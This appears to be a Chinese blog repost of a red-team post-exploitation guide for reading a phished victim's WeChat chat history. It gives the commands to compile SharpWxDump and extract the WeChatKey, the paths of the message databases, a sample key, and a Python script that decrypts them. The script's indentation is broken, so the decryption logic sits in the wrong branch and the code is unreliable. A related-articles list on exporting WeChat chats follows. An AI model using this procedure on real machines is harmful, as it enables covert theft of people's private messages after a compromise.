信息搜集-读取微信聊天记录

这篇具有很好参考价值的文章主要介绍了信息搜集-读取微信聊天记录。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

背景

在攻防演练的钓鱼上线后,如果被钓的人使用微信,这时候可以通过读取微信里的聊天记录进行进一步搜集。

使用公开Github项目

https://github.com/AdminTest0/SharpWxDump
编译命令:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\Program.cs /platform:x86

读取流程

首先获取微信的Wechatkey ==》找到对应聊天记录的数据库 ==》 使用python脚本解密 ==》 使用Navicat 等数据库工具打开读取明文

获取微信信息

编译成x86架构、直接运行。获取到微信的一些信息。

SharpWxDump.exe 获取 WeChatKey

信息搜集-读取微信聊天记录

微信信息存储的位置

微信消息

C:\Users\用户名\Documents\WeChat Files\微信ID\Msg\Multi 里获取MSG0.db

微信转发的消息

C:\Users\用户名\Documents\WeChat Files\微信ID\Msg\Multi \FTSMSG0.db
转发的图片

WeChatImageDatEncryption

解密

使用weixn_decrypt.py

py weixn_decrypt.py -k 82805324835245BBB05FBBDC8DFD105315C5BC6972F24E26919815308291CADE -d MSG0.db

from Crypto.Cipher import AES
import hashlib, hmac, ctypes, sys, getopt

SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)
IV_SIZE = 16
HMAC_SHA1_SIZE = 20
KEY_SIZE = 32
DEFAULT_PAGESIZE = 4096
DEFAULT_ITER = 64000
opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')
input_pass = ''
input_dir = ''

for op, value in opts:
    if op == '-k':
        input_pass = value
    else:
        if op == '-d':
            input_dir = value
            
            password = bytes.fromhex(input_pass.replace(' ', ''))
            
            with open(input_dir, 'rb') as (f):
                blist = f.read()
                print(len(blist))
                salt = blist[:16]
                key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)
                first = blist[16:DEFAULT_PAGESIZE]
                mac_salt = bytes([x ^ 58 for x in salt])
                mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)
                hash_mac = hmac.new(mac_key, digestmod='sha1')
                hash_mac.update(first[:-32])
                hash_mac.update(bytes(ctypes.c_int(1)))
                
                if hash_mac.digest() == first[-32:-12]:
                    print('Decryption Success')
                else:
                    print('Password Error')
                    blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
                    
                    with open(input_dir, 'wb') as (f):
                        f.write(SQLITE_FILE_HEADER)
                        t = AES.new(key, AES.MODE_CBC, first[-48:-32])
                        f.write(t.decrypt(first[:-48]))
                        f.write(first[-48:])
                        for i in blist:
                            t = AES.new(key, AES.MODE_CBC, i[-48:-32])
                            f.write(t.decrypt(i[:-48]))
        f.write(i[-48:])

实战中利用

https://www.yuque.com/pantom

 文章来源地址https://www.toymoban.com/news/detail-409588.html

到了这里,关于信息搜集-读取微信聊天记录的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • python解密微信聊天记录

    链接: 傻瓜教程:使用小米系列手机提取微信聊天记录并制作词云图 链接: 手机端微信聊天记录数据库解密过程

    2024年02月07日
    浏览(138)
  • 微信聊天记录导出(华为手机版)

    关于微信记录导出的有比较多的方法, 在这里进行汇总下, 以下都是经过我亲测可行的, 不要去买一些付费的软件, 自己手动操作下就好啦 主要参考这两篇文章: 微信聊天记录导出为电脑txt文件教程 微信聊天记录导出(2020新版) 具体步骤: 1.先登录电脑版微信 2.备份与迁移, 选择备

    2024年02月09日
    浏览(51)
  • 微信聊天记录导出的开源项目,火了!

    大家好,我是 Jack。 今天又是分享开源项目的一天。 最近想训练一个符合某人说话风格的 AI,微信的聊天记录里就有着丰富的训练数据。 聊天记录是珍贵的记忆,也是每一场对话、每一个互动的真情流露。 想要拿到这些数据,无论是保存备份还是用于 AI 训练,手动拷贝都不

    2024年01月16日
    浏览(56)
  • Python uiautomation获取微信内容!聊天记录、聊天列表、全都可获取

    Python uiautomation 是一个用于自动化 GUI 测试和操作的库,它可以模拟用户操作来执行各种任务。 通过这个库,可以使用Python脚本模拟人工点击,人工操作界面。本文使用 Python uiautomation 进行微信电脑版的操作。 以下是本次实验的版本号。 你需要安装 uiautomation 示例代码 代码解

    2024年02月04日
    浏览(66)
  • 导出手机微信聊天记录全攻略

    12-5 在我们日常使用微信的过程中,有时候很需要把聊天记录导出到电脑的Excel表格中,或者导出到网页中。 但是有个软件叫【 微信聊天记录挖掘机 】,可以把微信电脑版的聊天记录导出,那在手机微信中的聊天记录怎么办呢? 其实微信本身就带有迁移功能,只需要把手机

    2024年02月04日
    浏览(61)
  • 微信录屏怎么录?微信聊天记录怎么录制下来

    微信作为我们日常使用的沟通工具,里面保留着许多的信息。在有些时候,我们可能会遇到需要用录屏功能,将微信里的信息分享出去的场景。可是微信自身是不带录屏功能的,微信录屏怎么录?我们究竟要怎么将信息给录制下来呢?下面小编详细地介绍一下。   一.手机微

    2024年02月09日
    浏览(46)
  • 电脑微信聊天记录迁移微信文件迁移备份恢复

    前言 前提:尽量保持微信版本号一致。 首先让我们了解一下微信官方聊天记录保存规则(只有手机的保存规则,但是原理都是一样的) 此文章方法原理:微信PC版一定要保证原来的路径目录,且一定要同时拷贝【All Users】目录。原因是【All Users】目录里保存一些配置信息及

    2024年02月10日
    浏览(50)
  • uniapp微信小程序 选择聊天记录文件上传

    目录 精简版总结 示例 容易踩的坑 1、页面刷新问题 2、extension问题 单文件 多个文件 PS:files和filePath/name只能二选一组 此处用xlsx文件作实例,选择聊天记录中的xlsx文件上传到指定接口中。 因为某些微信版本extension可能不生效,或者又想要对提交的文件名做校验,建议参考我

    2024年02月09日
    浏览(98)
  • 记一次iOS微信恢复聊天记录的尝试

    最近手机坏了,为了到天才吧维修手机,为手机做了一个爱思助手的全备份。结果手机修好之后爱思助手无法恢复备份到手机。之前从来没有想到过iOS备份会失效,所以没有对微信聊天记录做单独的备份。尝试了2次无法恢复,确认不是偶然无法恢复,于是我尝试了多种办法,

    2024年02月10日
    浏览(45)
  • 如何在 iPhone 上恢复微信聊天记录!

    如今,微信拥有庞大的用户群,很多人用它来沟通、支付、点餐等与我们日常生活相关的事情,我们的生活已经离不开它,它功能强大,使用方便,给我们带来了很多便利. 有时我们可能会不小心删除或丢失了微信消息,或者切换微信帐号导致某些记录丢失。在这些问题上,

    2024年02月11日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包